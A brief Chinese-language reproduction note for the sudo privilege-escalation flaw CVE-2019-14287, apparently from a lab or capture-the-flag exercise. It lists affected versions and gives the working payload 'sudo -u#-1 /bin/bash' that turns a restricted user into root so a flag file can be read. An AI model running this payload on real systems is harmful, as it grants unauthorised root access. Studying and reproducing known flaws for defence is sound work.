Linux sudo权限提升漏洞

CVE-2019-14287

漏洞影响

1.8.28之前的sudo版本均会受到影响

漏洞复现

现在的用户alice没权限看flag文件

查看sudo版本

符合利用条件，payload：sudo -u#-1 /bin/bash